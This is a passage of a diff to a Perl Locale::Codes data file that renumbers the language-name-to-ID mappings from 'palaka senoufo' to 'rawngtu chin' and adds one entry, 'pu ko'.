+      q(5492),
       q(0),
       ],
    q(palaka senoufo) => [
-      q(5497),
+      q(5493),
       q(0),
       ],
    q(palantla chinantec) => [
-      q(1827),
+      q(1826),
       q(0),
       ],
    q(palauan) => [
-      q(0341),
+      q(0340),
       q(0),
       ],
    q(paleni) => [
-      q(5535),
+      q(5531),
       q(0),
       ],
    q(palenquero) => [
-      q(5493),
+      q(5489),
       q(0),
       ],
    q(pali) => [
-      q(0346),
+      q(0345),
       q(0),
       ],
    q(palikur) => [
-      q(5500),
+      q(5496),
       q(0),
       ],
    q(paliyan) => [
-      q(5382),
+      q(5378),
       q(0),
       ],
    q(pallanganmiddang) => [
-      q(5507),
+      q(5503),
       q(0),
       ],
    q(palor) => [
-      q(2330),
+      q(2329),
       q(0),
       ],
    q(palpa) => [
-      q(5495),
+      q(5491),
       q(0),
       ],
    q(palu'e) => [
-      q(5487),
+      q(5483),
       q(0),
       ],
    q(paluan) => [
-      q(5504),
+      q(5500),
       q(0),
       ],
    q(palula) => [
-      q(5437),
+      q(5433),
       q(1),
       ],
    q(palya bareli) => [
-      q(1395),
+      q(1394),
       q(0),
       ],
    q(pam) => [
-      q(5516),
+      q(5512),
       q(0),
       ],
    q(pambia) => [
-      q(5506),
+      q(5502),
       q(0),
       ],
    q(pamlico) => [
-      q(5513),
+      q(5509),
       q(0),
       ],
    q(pamona) => [
-      q(5509),
+      q(5505),
       q(0),
       ],
    q(pamosu) => [
-      q(2755),
+      q(2753),
       q(0),
       ],
    q(pampanga) => [
-      q(0338),
+      q(0337),
       q(0),
       ],
    q(pamplona atta) => [
-      q(0927),
+      q(0926),
       q(0),
       ],
    q(pana (burkina faso)) => [
-      q(5540),
+      q(5536),
       q(0),
       ],
    q(pana (central african republic)) => [
-      q(5549),
+      q(5545),
       q(0),
       ],
    q(panamanian sign language) => [
@@ -47279,27 +47217,27 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(panamint) => [
-      q(5352),
+      q(5348),
       q(0),
       ],
    q(panao huanuco quechua) => [
-      q(5714),
+      q(5712),
       q(0),
       ],
    q(panara) => [
-      q(3573),
+      q(3572),
       q(0),
       ],
    q(panasuan) => [
-      q(5610),
+      q(5607),
       q(0),
       ],
    q(panawa) => [
-      q(5653),
+      q(5651),
       q(0),
       ],
    q(pancana) => [
-      q(5539),
+      q(5535),
       q(0),
       ],
    q(panchpargania) => [
@@ -47307,15 +47245,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(pande) => [
-      q(1262),
+      q(1261),
       q(0),
       ],
    q(pangasinan) => [
-      q(0336),
+      q(0335),
       q(0),
       ],
    q(pangseng) => [
-      q(5429),
+      q(5425),
       q(0),
       ],
    q(pangutaran sama) => [
@@ -47323,59 +47261,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(pangwa) => [
-      q(5371),
+      q(5367),
       q(0),
       ],
    q(pangwali) => [
-      q(5424),
+      q(5420),
       q(0),
       ],
    q(panim) => [
-      q(5541),
+      q(5537),
       q(0),
       ],
    q(paniya) => [
-      q(5383),
+      q(5379),
       q(0),
       ],
    q(panjabi) => [
-      q(0339),
+      q(0338),
       q(0),
       ],
    q(pankarare) => [
-      q(5357),
+      q(5353),
       q(0),
       ],
    q(pankararu) => [
-      q(5359),
+      q(5355),
       q(0),
       ],
    q(pankhu) => [
-      q(5475),
+      q(5471),
       q(0),
       ],
    q(pannei) => [
-      q(5528),
+      q(5524),
       q(0),
       ],
    q(pano) => [
-      q(4498),
+      q(4497),
       q(0),
       ],
    q(panoan katukina) => [
-      q(3495),
+      q(3494),
       q(0),
       ],
    q(panobo) => [
-      q(5538),
+      q(5534),
       q(0),
       ],
    q(panyi bai) => [
-      q(1139),
+      q(1138),
       q(0),
       ],
    q(panytyima) => [
-      q(5546),
+      q(5542),
       q(0),
       ],
    q(papantla totonac) => [
@@ -47383,119 +47321,119 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(papapana) => [
-      q(5572),
+      q(5568),
       q(0),
       ],
    q(papar) => [
-      q(2127),
+      q(2126),
       q(0),
       ],
    q(papasena) => [
-      q(5353),
+      q(5349),
       q(0),
       ],
    q(papel) => [
-      q(5369),
+      q(5365),
       q(0),
       ],
    q(papi) => [
-      q(5567),
+      q(5563),
       q(0),
       ],
    q(papiamento) => [
-      q(0340),
+      q(0339),
       q(0),
       ],
    q(papitalai) => [
-      q(5354),
+      q(5350),
       q(0),
       ],
    q(papora) => [
-      q(5578),
+      q(5574),
       q(0),
       ],
    q(papua new guinean sign language) => [
-      q(5431),
+      q(5427),
       q(0),
       ],
    q(papuan languages) => [
-      q(0335),
+      q(0334),
       q(0),
       ],
    q(papuan malay) => [
-      q(5524),
+      q(5520),
       q(0),
       ],
    q(papuma) => [
-      q(5571),
+      q(5567),
       q(0),
       ],
    q(para arara) => [
-      q(0552),
+      q(0551),
       q(0),
       ],
    q(para gaviao) => [
-      q(2672),
+      q(2670),
       q(0),
       ],
    q(para naga) => [
-      q(5669),
+      q(5667),
       q(0),
       ],
    q(parachi) => [
-      q(5581),
+      q(5578),
       q(0),
       ],
    q(paraguayan guarani) => [
-      q(2646),
+      q(2644),
       q(0),
       ],
    q(paraguayan sign language) => [
-      q(5665),
+      q(5663),
       q(0),
       ],
    q(parakana) => [
-      q(5349),
+      q(5345),
       q(0),
       ],
    q(paranan) => [
-      q(5584),
+      q(5581),
       q(0),
       ],
    q(paranawat) => [
-      q(5346),
+      q(5342),
       q(0),
       ],
    q(paraujano) => [
-      q(5364),
+      q(5360),
       q(0),
       ],
    q(parauk) => [
-      q(5588),
+      q(5585),
       q(0),
       ],
    q(parawen) => [
-      q(5598),
+      q(5595),
       q(0),
       ],
    q(pardhan) => [
-      q(5384),
+      q(5380),
       q(0),
       ],
    q(pardhi) => [
-      q(5388),
+      q(5384),
       q(0),
       ],
    q(pare) => [
-      q(5577),
+      q(5573),
       q(0),
       ],
    q(parecis) => [
-      q(5342),
+      q(5338),
       q(0),
       ],
    q(parenga) => [
-      q(5386),
+      q(5382),
       q(0),
       ],
    q(pari) => [
@@ -47507,59 +47445,59 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(parkwa) => [
-      q(5366),
+      q(5362),
       q(0),
       ],
    q(parsi) => [
-      q(5592),
+      q(5589),
       q(0),
       ],
    q(parsi-dari) => [
-      q(5582),
+      q(5579),
       q(0),
       ],
    q(parthian) => [
-      q(7454),
+      q(7451),
       q(0),
       ],
    q(parya) => [
-      q(5351),
+      q(5347),
       q(0),
       ],
    q(pashto) => [
-      q(0352),
+      q(0351),
       q(1),
       ],
    q(pasi) => [
-      q(5613),
+      q(5610),
       q(0),
       ],
    q(pass valley yali) => [
-      q(7562),
+      q(7559),
       q(0),
       ],
    q(patamona) => [
-      q(5361),
+      q(5357),
       q(0),
       ],
    q(patani) => [
-      q(5623),
+      q(5620),
       q(0),
       ],
    q(pataxo ha-ha-hae) => [
-      q(5621),
+      q(5618),
       q(0),
       ],
    q(patep) => [
-      q(5625),
+      q(5622),
       q(0),
       ],
    q(pathiya) => [
-      q(5632),
+      q(5629),
       q(0),
       ],
    q(patpatar) => [
-      q(2487),
+      q(2486),
       q(0),
       ],
    q(pattani) => [
@@ -47567,175 +47505,175 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(pattani malay) => [
-      q(4217),
+      q(4216),
       q(0),
       ],
    q(pattapu) => [
-      q(5626),
+      q(5623),
       q(0),
       ],
    q(patwin) => [
-      q(5655),
+      q(5653),
       q(0),
       ],
    q(paulohi) => [
-      q(5489),
+      q(5485),
       q(0),
       ],
    q(paumari) => [
-      q(5344),
+      q(5340),
       q(0),
       ],
    q(paunaka) => [
-      q(5534),
+      q(5530),
       q(0),
       ],
    q(pauri bareli) => [
-      q(1138),
+      q(1137),
       q(0),
       ],
    q(pauserna) => [
-      q(5609),
+      q(5606),
       q(0),
       ],
    q(pawaia) => [
-      q(5652),
+      q(5650),
       q(0),
       ],
    q(pawnee) => [
-      q(5356),
+      q(5352),
       q(0),
       ],
    q(paynamar) => [
-      q(5519),
+      q(5515),
       q(0),
       ],
    q(pe) => [
-      q(5348),
+      q(5344),
       q(0),
       ],
    q(pear) => [
-      q(5378),
+      q(5374),
       q(0),
       ],
    q(pech) => [
-      q(5358),
+      q(5354),
       q(0),
       ],
    q(pecheneg) => [
-      q(7443),
+      q(7440),
       q(0),
       ],
    q(pedi) => [
-      q(0319),
+      q(0318),
       q(0),
       ],
    q(peere) => [
-      q(5420),
+      q(5416),
       q(0),
       ],
    q(pei) => [
-      q(5575),
+      q(5571),
       q(0),
       ],
    q(pekal) => [
-      q(5410),
+      q(5406),
       q(0),
       ],
    q(pela) => [
-      q(1569),
+      q(1568),
       q(0),
       ],
    q(pele-ata) => [
-      q(0910),
+      q(0909),
       q(0),
       ],
    q(pelende) => [
-      q(5574),
+      q(5570),
       q(0),
       ],
    q(pemon) => [
-      q(0817),
+      q(0816),
       q(0),
       ],
    q(pemono) => [
-      q(5415),
+      q(5411),
       q(0),
       ],
    q(penang sign language) => [
-      q(5605),
+      q(5602),
       q(0),
       ],
    q(penchal) => [
-      q(5409),
+      q(5405),
       q(0),
       ],
    q(pendau) => [
-      q(6897),
+      q(6896),
       q(0),
       ],
    q(pengo) => [
-      q(5405),
+      q(5401),
       q(0),
       ],
    q(pennsylvania german) => [
-      q(5394),
+      q(5390),
       q(0),
       ],
    q(penoles mixtec) => [
-      q(4301),
+      q(4300),
       q(0),
       ],
    q(penrhyn) => [
-      q(5531),
+      q(5527),
       q(0),
       ],
    q(pentlatch) => [
-      q(5631),
+      q(5628),
       q(0),
       ],
    q(perai) => [
-      q(7098),
+      q(7096),
       q(0),
       ],
    q(peranakan indonesian) => [
-      q(5400),
+      q(5396),
       q(0),
       ],
    q(peripheral mongolian) => [
-      q(4598),
+      q(4597),
       q(0),
       ],
    q(pero) => [
-      q(5460),
+      q(5456),
       q(0),
       ],
    q(persian) => [
-      q(0343),
+      q(0342),
       q(0),
       ],
    q(persian sign language) => [
-      q(5602),
+      q(5599),
       q(0),
       ],
    q(persian, old (ca.600-400 b.c.)) => [
-      q(0342),
+      q(0341),
       q(0),
       ],
    q(peruvian sign language) => [
-      q(5589),
+      q(5586),
       q(0),
       ],
    q(petapa zapotec) => [
-      q(7903),
+      q(7900),
       q(0),
       ],
    q(petats) => [
-      q(5416),
+      q(5412),
       q(0),
       ],
    q(petjo) => [
-      q(5417),
+      q(5413),
       q(0),
       ],
    q(peve) => [
@@ -47743,255 +47681,255 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(pfaelzisch) => [
-      q(5421),
+      q(5417),
       q(0),
       ],
    q(phai) => [
-      q(5596),
+      q(5593),
       q(0),
       ],
    q(phake) => [
-      q(5436),
+      q(5432),
       q(0),
       ],
    q(phala) => [
-      q(7712),
+      q(7709),
       q(0),
       ],
    q(phalura) => [
-      q(5437),
+      q(5433),
       q(0),
       ],
    q(phana') => [
-      q(5440),
+      q(5436),
       q(0),
       ],
    q(phangduwali) => [
-      q(5445),
+      q(5441),
       q(0),
       ],
    q(phende) => [
-      q(5411),
+      q(5407),
       q(0),
       ],
    q(philippine languages) => [
-      q(0344),
+      q(0343),
       q(0),
       ],
    q(philippine sign language) => [
-      q(5612),
+      q(5609),
       q(0),
       ],
    q(phimbi) => [
-      q(5438),
+      q(5434),
       q(0),
       ],
    q(phoenician) => [
-      q(0345),
+      q(0344),
       q(0),
       ],
    q(phola) => [
-      q(7714),
+      q(7711),
       q(0),
       ],
    q(pholo) => [
-      q(7640),
+      q(7637),
       q(0),
       ],
    q(phom naga) => [
-      q(5028),
+      q(5026),
       q(0),
       ],
    q(phong-kniang) => [
-      q(5547),
+      q(5543),
       q(0),
       ],
    q(phrae pwo karen) => [
-      q(3394),
+      q(3393),
       q(0),
       ],
    q(phrygian) => [
-      q(7445),
+      q(7442),
       q(0),
       ],
    q(phu thai) => [
-      q(5442),
+      q(5438),
       q(0),
       ],
    q(phuan) => [
-      q(5443),
+      q(5439),
       q(0),
       ],
    q(phudagi) => [
-      q(5433),
+      q(5429),
       q(0),
       ],
    q(phuie) => [
-      q(5639),
+      q(5636),
       q(0),
       ],
    q(phukha) => [
-      q(5435),
+      q(5431),
       q(0),
       ],
    q(phuma) => [
-      q(7716),
+      q(7713),
       q(0),
       ],
    q(phunoi) => [
-      q(5439),
+      q(5435),
       q(0),
       ],
    q(phuong) => [
-      q(5434),
+      q(5430),
       q(0),
       ],
    q(phupa) => [
-      q(7719),
+      q(7716),
       q(0),
       ],
    q(phupha) => [
-      q(7715),
+      q(7712),
       q(0),
       ],
    q(phuza) => [
-      q(7720),
+      q(7717),
       q(0),
       ],
    q(piamatsina) => [
-      q(5627),
+      q(5624),
       q(0),
       ],
    q(piame) => [
-      q(5458),
+      q(5454),
       q(0),
       ],
    q(piapoco) => [
-      q(5459),
+      q(5455),
       q(0),
       ],
    q(piaroa) => [
-      q(5449),
+      q(5445),
       q(0),
       ],
    q(picard) => [
-      q(5380),
+      q(5376),
       q(0),
       ],
    q(pichis asheninka) => [
-      q(1835),
+      q(1834),
       q(0),
       ],
    q(pictish) => [
-      q(7446),
+      q(7443),
       q(0),
       ],
    q(pidgin delaware) => [
-      q(1992),
+      q(1991),
       q(0),
       ],
    q(piemontese) => [
-      q(5520),
+      q(5516),
       q(0),
       ],
    q(pijao) => [
-      q(5455),
+      q(5451),
       q(0),
       ],
    q(pije) => [
-      q(5469),
+      q(5465),
       q(0),
       ],
    q(pijin) => [
-      q(5462),
+      q(5458),
       q(0),
       ],
    q(pilaga) => [
-      q(5488),
+      q(5484),
       q(0),
       ],
    q(pileni) => [
-      q(5465),
+      q(5461),
       q(0),
       ],
    q(pilipino) => [
-      q(0134),
+      q(0133),
       q(1),
       ],
    q(pima bajo) => [
-      q(5446),
+      q(5442),
       q(0),
       ],
    q(pimbwe) => [
-      q(5466),
+      q(5462),
       q(0),
       ],
    q(pinai-hagahai) => [
-      q(5537),
+      q(5533),
       q(0),
       ],
    q(pingelapese) => [
-      q(5451),
+      q(5447),
       q(0),
       ],
    q(pini) => [
-      q(5454),
+      q(5450),
       q(0),
       ],
    q(pinigura) => [
-      q(5545),
+      q(5541),
       q(0),
       ],
    q(pinjarup) => [
-      q(5533),
+      q(5529),
       q(0),
       ],
    q(pinji) => [
-      q(5448),
+      q(5444),
       q(0),
       ],
    q(pinotepa nacional mixtec) => [
-      q(4303),
+      q(4302),
       q(0),
       ],
    q(pintiini) => [
-      q(5622),
+      q(5619),
       q(0),
       ],
    q(pintupi-luritja) => [
-      q(5464),
+      q(5460),
       q(0),
       ],
    q(pinyin) => [
-      q(5548),
+      q(5544),
       q(0),
       ],
    q(pipil) => [
-      q(5570),
+      q(5566),
       q(0),
       ],
    q(piraha) => [
-      q(4679),
+      q(4678),
       q(0),
       ],
    q(piratapuyo) => [
-      q(5461),
+      q(5457),
       q(0),
       ],
    q(pirlatapa) => [
-      q(1574),
+      q(1573),
       q(0),
       ],
    q(piro) => [
-      q(5450),
+      q(5446),
       q(0),
       ],
    q(pirriya) => [
-      q(7442),
+      q(7439),
       q(0),
       ],
    q(pisabo) => [
-      q(5452),
+      q(5448),
       q(0),
       ],
    q(pisaflores tepehua) => [
@@ -47999,51 +47937,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(piscataway) => [
-      q(5619),
+      q(5616),
       q(0),
       ],
    q(pisidian) => [
-      q(7455),
+      q(7452),
       q(0),
       ],
    q(pitcairn-norfolk) => [
-      q(5453),
+      q(5449),
       q(0),
       ],
    q(pite sami) => [
-      q(6049),
+      q(6048),
       q(0),
       ],
    q(piti) => [
-      q(5390),
+      q(5386),
       q(0),
       ],
    q(pitjantjatjara) => [
-      q(5470),
+      q(5466),
       q(0),
       ],
    q(pitta pitta) => [
-      q(5463),
+      q(5459),
       q(0),
       ],
    q(piu) => [
-      q(5467),
+      q(5463),
       q(0),
       ],
    q(piya-kwonci) => [
-      q(5468),
+      q(5464),
       q(0),
       ],
    q(plains cree) => [
-      q(1847),
+      q(1846),
       q(0),
       ],
    q(plains indian sign language) => [
-      q(5603),
+      q(5600),
       q(0),
       ],
    q(plains miwok) => [
-      q(5522),
+      q(5518),
       q(0),
       ],
    q(plapo krumen) => [
@@ -48051,335 +47989,339 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(plateau malagasy) => [
-      q(5499),
+      q(5495),
       q(0),
       ],
    q(plautdietsch) => [
-      q(5398),
+      q(5394),
       q(0),
       ],
    q(playero) => [
-      q(2584),
+      q(2582),
       q(0),
       ],
    q(pnar) => [
-      q(5375),
+      q(5371),
       q(0),
       ],
    q(pochuri naga) => [
-      q(5032),
+      q(5030),
       q(0),
       ],
    q(pochutec) => [
-      q(7451),
+      q(7448),
       q(0),
       ],
    q(podena) => [
-      q(5396),
+      q(5392),
       q(0),
       ],
    q(pogolo) => [
-      q(5566),
+      q(5562),
       q(0),
       ],
    q(pohnpeian) => [
-      q(0348),
+      q(0347),
       q(0),
       ],
    q(pokanga) => [
-      q(5556),
+      q(5552),
       q(0),
       ],
    q(poke) => [
-      q(5552),
+      q(5548),
       q(0),
       ],
    q(pokomo) => [
-      q(5472),
+      q(5468),
       q(0),
       ],
    q(pokoot) => [
-      q(5477),
+      q(5473),
       q(0),
       ],
    q(polabian) => [
-      q(5565),
+      q(5561),
       q(0),
       ],
    q(polari) => [
-      q(5486),
+      q(5482),
       q(0),
       ],
    q(polci) => [
-      q(5490),
+      q(5486),
       q(0),
       ],
    q(polish) => [
-      q(0347),
+      q(0346),
       q(0),
       ],
    q(polish sign language) => [
-      q(5611),
+      q(5608),
       q(0),
       ],
    q(polonombauk) => [
-      q(5484),
+      q(5480),
       q(0),
       ],
    q(pom) => [
-      q(5517),
+      q(5513),
       q(0),
       ],
    q(pomo) => [
-      q(5515),
+      q(5511),
       q(0),
       ],
    q(ponam) => [
-      q(4756),
+      q(4755),
       q(0),
       ],
    q(pongu) => [
-      q(5530),
+      q(5526),
       q(0),
       ],
    q(ponosakan) => [
-      q(5542),
+      q(5538),
       q(0),
       ],
    q(pontic) => [
-      q(5543),
+      q(5539),
       q(0),
       ],
    q(ponyo-gongwang naga) => [
-      q(5027),
+      q(5025),
       q(0),
       ],
    q(popti') => [
-      q(3041),
+      q(3038),
       q(0),
       ],
    q(poqomam) => [
-      q(5550),
+      q(5546),
       q(0),
       ],
    q(poqomchi') => [
-      q(5554),
+      q(5550),
       q(0),
       ],
    q(porohanon) => [
-      q(5586),
+      q(5583),
       q(0),
       ],
    q(port sandwich) => [
-      q(5618),
+      q(5615),
       q(0),
       ],
    q(port vato) => [
-      q(5630),
+      q(5627),
       q(0),
       ],
    q(portuguese) => [
-      q(0349),
+      q(0348),
       q(0),
       ],
    q(portuguese sign language) => [
-      q(5614),
+      q(5611),
       q(0),
       ],
    q(portuguese-based creoles and pidgins) => [
-      q(0096),
+      q(0095),
       q(2),
       ],
    q(potawatomi) => [
-      q(5562),
+      q(5558),
       q(0),
       ],
    q(potiguara) => [
-      q(5553),
+      q(5549),
       q(0),
       ],
    q(pottangi ollar gadaba) => [
-      q(2451),
+      q(2450),
       q(0),
       ],
    q(poule) => [
-      q(4534),
+      q(4533),
       q(1),
       ],
    q(poumei naga) => [
-      q(5523),
+      q(5519),
       q(0),
       ],
    q(pouye) => [
-      q(1593),
+      q(1592),
       q(0),
       ],
    q(powari) => [
-      q(5659),
+      q(5657),
       q(0),
       ],
    q(powhatan) => [
-      q(5457),
+      q(5453),
       q(0),
       ],
    q(poyanawa) => [
-      q(5664),
+      q(5662),
       q(0),
       ],
    q(prakrit languages) => [
-      q(0350),
+      q(0349),
       q(0),
       ],
    q(prasuni) => [
-      q(5591),
+      q(5588),
       q(0),
       ],
    q(primitive irish) => [
-      q(5427),
+      q(5423),
       q(0),
       ],
    q(principense) => [
-      q(5583),
+      q(5580),
       q(0),
       ],
    q(provencal) => [
-      q(0327),
+      q(0326),
       q(1),
       ],
    q(provencal, old (to 1500)) => [
-      q(0351),
+      q(0350),
       q(0),
       ],
    q(providencia sign language) => [
-      q(5600),
+      q(5597),
       q(0),
       ],
    q(prussian) => [
-      q(5585),
+      q(5582),
       q(0),
       ],
    q(psikye) => [
       q(3670),
       q(0),
       ],
+   q(pu ko) => [
+      q(5639),
+      q(0),
+      ],
    q(pu-xian chinese) => [
-      q(1836),
+      q(1835),
       q(0),
       ],
    q(puare) => [
-      q(5650),
+      q(5648),
       q(0),
       ],
    q(pudtol atta) => [
-      q(0923),
+      q(0922),
       q(0),
       ],
    q(puelche) => [
-      q(5637),
+      q(5634),
       q(0),
       ],
    q(puerto rican sign language) => [
-      q(5608),
+      q(5605),
       q(0),
       ],
    q(puimei naga) => [
-      q(5034),
+      q(5032),
       q(0),
       ],
    q(puinave) => [
-      q(5640),
+      q(5637),
       q(0),
       ],
    q(pukapuka) => [
-      q(5478),
+      q(5474),
       q(0),
       ],
    q(pulaar) => [
-      q(2379),
+      q(2378),
       q(0),
       ],
    q(pulabu) => [
-      q(5644),
+      q(5642),
       q(0),
       ],
    q(pular) => [
-      q(2382),
+      q(2381),
       q(0),
       ],
    q(puluwatese) => [
-      q(5649),
+      q(5647),
       q(0),
       ],
    q(puma) => [
-      q(5642),
+      q(5640),
       q(0),
       ],
    q(pume) => [
-      q(7564),
+      q(7561),
       q(0),
       ],
    q(pumpokol) => [
-      q(7449),
+      q(7446),
       q(0),
       ],
    q(punan aput) => [
-      q(5636),
+      q(5633),
       q(0),
       ],
    q(punan bah-biau) => [
-      q(5526),
+      q(5522),
       q(0),
       ],
    q(punan batu 1) => [
-      q(5536),
+      q(5532),
       q(0),
       ],
    q(punan merah) => [
-      q(5638),
+      q(5635),
       q(0),
       ],
    q(punan merap) => [
-      q(5635),
+      q(5632),
       q(0),
       ],
    q(punan tubu) => [
-      q(5641),
+      q(5638),
       q(0),
       ],
    q(punic) => [
-      q(7457),
+      q(7454),
       q(0),
       ],
    q(punjabi) => [
-      q(0339),
+      q(0338),
       q(1),
       ],
    q(puno quechua) => [
-      q(5718),
+      q(5716),
       q(0),
       ],
    q(punthamara) => [
-      q(7456),
+      q(7453),
       q(0),
       ],
    q(punu) => [
-      q(5648),
+      q(5646),
       q(0),
       ],
    q(puoc) => [
-      q(5643),
+      q(5641),
       q(0),
       ],
    q(puquina) => [
-      q(5645),
+      q(5643),
       q(0),
       ],
    q(puragi) => [
-      q(5597),
+      q(5594),
       q(0),
       ],
    q(purari) => [
-      q(2883),
+      q(2881),
       q(0),
       ],
    q(purepecha) => [
@@ -48387,99 +48329,99 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(puri) => [
-      q(5594),
+      q(5591),
       q(0),
       ],
    q(purik) => [
-      q(5599),
+      q(5596),
       q(0),
       ],
    q(purisimeno) => [
-      q(5651),
+      q(5649),
       q(0),
       ],
    q(puroik) => [
-      q(6276),
+      q(6277),
       q(0),
       ],
    q(purubora) => [
-      q(5646),
+      q(5644),
       q(0),
       ],
    q(purum) => [
-      q(5634),
+      q(5631),
       q(0),
       ],
    q(pushto) => [
-      q(0352),
+      q(0351),
       q(0),
       ],
    q(putai) => [
-      q(4228),
+      q(4227),
       q(0),
       ],
    q(putoh) => [
-      q(5647),
+      q(5645),
       q(0),
       ],
    q(putukwam) => [
-      q(0642),
+      q(0641),
       q(0),
       ],
    q(puyo) => [
-      q(7458),
+      q(7455),
       q(0),
       ],
    q(puyo-paekche) => [
-      q(7452),
+      q(7449),
       q(0),
       ],
    q(puyuma) => [
-      q(5666),
+      q(5664),
       q(0),
       ],
    q(pwaamei) => [
-      q(5508),
+      q(5504),
       q(0),
       ],
    q(pwapwa) => [
-      q(5559),
+      q(5555),
       q(0),
       ],
    q(pwo eastern karen) => [
-      q(3390),
+      q(3389),
       q(0),
       ],
    q(pwo northern karen) => [
-      q(5660),
+      q(5658),
       q(0),
       ],
    q(pwo western karen) => [
-      q(5658),
+      q(5656),
       q(0),
       ],
    q(pyapun) => [
-      q(5392),
+      q(5388),
       q(0),
       ],
    q(pye krumen) => [
-      q(5662),
+      q(5660),
       q(0),
       ],
    q(pyen) => [
-      q(5668),
+      q(5666),
       q(0),
       ],
    q(pyu (myanmar)) => [
-      q(5667),
+      q(5665),
       q(0),
       ],
    q(pyu (papua new guinea)) => [
-      q(5376),
+      q(5372),
       q(0),
       ],
    q(q'anjob'al) => [
-      q(3376),
+      q(3375),
       q(0),
       ],
    q(qabiao) => [
@@ -48487,167 +48429,167 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(qaqet) => [
-      q(1610),
+      q(1609),
       q(0),
       ],
    q(qashqa'i) => [
-      q(5719),
+      q(5717),
       q(0),
       ],
    q(qatabanian) => [
-      q(7460),
+      q(7457),
       q(0),
       ],
    q(qau) => [
-      q(2611),
+      q(2609),
       q(0),
       ],
    q(qawasqar) => [
-      q(0747),
+      q(0746),
       q(0),
       ],
    q(qila muji) => [
-      q(7686),
+      q(7683),
       q(0),
       ],
    q(qimant) => [
-      q(0680),
+      q(0679),
       q(0),
       ],
    q(qiubei zhuang) => [
-      q(7925),
+      q(7922),
       q(0),
       ],
    q(quapaw) => [
-      q(5670),
+      q(5668),
       q(0),
       ],
    q(quebec sign language) => [
-      q(2337),
+      q(2336),
       q(0),
       ],
    q(quechan) => [
-      q(7758),
+      q(7755),
       q(0),
       ],
    q(quechua) => [
-      q(0354),
+      q(0353),
       q(0),
       ],
    q(quechuan (family)) => [
-      q(0524),
+      q(0523),
       q(0),
       ],
    q(quenya) => [
-      q(5725),
+      q(5723),
       q(0),
       ],
    q(queretaro otomi) => [
-      q(5320),
+      q(5316),
       q(0),
       ],
    q(quetzaltepec mixe) => [
-      q(5661),
+      q(5659),
       q(0),
       ],
    q(queyu) => [
-      q(5704),
+      q(5702),
       q(0),
       ],
    q(quiavicuzas zapotec) => [
-      q(7908),
+      q(7905),
       q(0),
       ],
    q(quiche) => [
-      q(5672),
+      q(5670),
       q(1),
       ],
    q(quileute) => [
-      q(5677),
+      q(5675),
       q(0),
       ],
    q(quinault) => [
-      q(5681),
+      q(5679),
       q(0),
       ],
    q(quinqui) => [
-      q(5683),
+      q(5681),
       q(0),
       ],
    q(quioquitani-quieri zapotec) => [
-      q(7944),
+      q(7941),
       q(0),
       ],
    q(quiotepec chinantec) => [
-      q(1722),
+      q(1721),
       q(0),
       ],
    q(quiripi) => [
-      q(5726),
+      q(5724),
       q(0),
       ],
    q(rabha) => [
-      q(5733),
+      q(5731),
       q(0),
       ],
    q(rade) => [
-      q(5730),
+      q(5728),
       q(0),
       ],
    q(raetic) => [
-      q(7470),
+      q(7467),
       q(0),
       ],
    q(rahambuu) => [
-      q(5748),
+      q(5746),
       q(0),
       ],
    q(rajah kabunsuwan manobo) => [
-      q(4483),
+      q(4482),
       q(0),
       ],
    q(rajasthani) => [
-      q(0355),
+      q(0354),
       q(0),
       ],
    q(rajbanshi) => [
-      q(5787),
+      q(5786),
       q(0),
       ],
    q(raji) => [
-      q(5786),
+      q(5785),
       q(0),
       ],
    q(rajong) => [
-      q(5785),
+      q(5784),
       q(0),
       ],
    q(rajput garasia) => [
-      q(2612),
+      q(2610),
       q(0),
       ],
    q(rakahanga-manihiki) => [
-      q(5790),
+      q(5789),
       q(0),
       ],
    q(rakhine) => [
-      q(5791),
+      q(5790),
       q(0),
       ],
    q(ralte) => [
-      q(5736),
+      q(5734),
       q(0),
       ],
    q(rama) => [
-      q(5795),
+      q(5794),
       q(0),
       ],
    q(ramoaaina) => [
-      q(5734),
+      q(5732),
       q(0),
       ],
    q(ramopa) => [
-      q(3397),
+      q(3396),
       q(0),
       ],
    q(rampi) => [
@@ -48659,31 +48601,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rang) => [
-      q(5746),
+      q(5744),
       q(0),
       ],
    q(rangkas) => [
-      q(5770),
+      q(5768),
       q(0),
       ],
    q(ranglong) => [
-      q(5821),
+      q(5820),
       q(0),
       ],
    q(rangpuri) => [
-      q(5793),
+      q(5792),
       q(0),
       ],
    q(rao) => [
-      q(5739),
+      q(5737),
       q(0),
       ],
    q(rapa) => [
-      q(5747),
+      q(5745),
       q(0),
       ],
    q(rapanui) => [
-      q(0356),
+      q(0355),
       q(0),
       ],
    q(rapoisi) => [
@@ -48691,7 +48633,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rapting) => [
-      q(5839),
+      q(5838),
       q(0),
       ],
    q(rara bakati') => [
@@ -48699,15 +48641,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rarotongan) => [
-      q(0357),
+      q(0356),
       q(0),
       ],
    q(rasawa) => [
-      q(5729),
+      q(5727),
       q(0),
       ],
    q(ratagnon) => [
-      q(1481),
+      q(1480),
       q(0),
       ],
    q(ratahan) => [
@@ -48719,15 +48661,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rathwi bareli) => [
-      q(1165),
+      q(1164),
       q(0),
       ],
    q(raute) => [
-      q(5743),
+      q(5741),
       q(0),
       ],
    q(ravula) => [
-      q(7606),
+      q(7603),
       q(0),
       ],
    q(rawa) => [
@@ -48735,15 +48677,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(rawang) => [
-      q(5745),
+      q(5743),
       q(0),
       ],
    q(rawat) => [
-      q(3131),
+      q(3129),
       q(0),
       ],
    q(rawngtu chin) => [
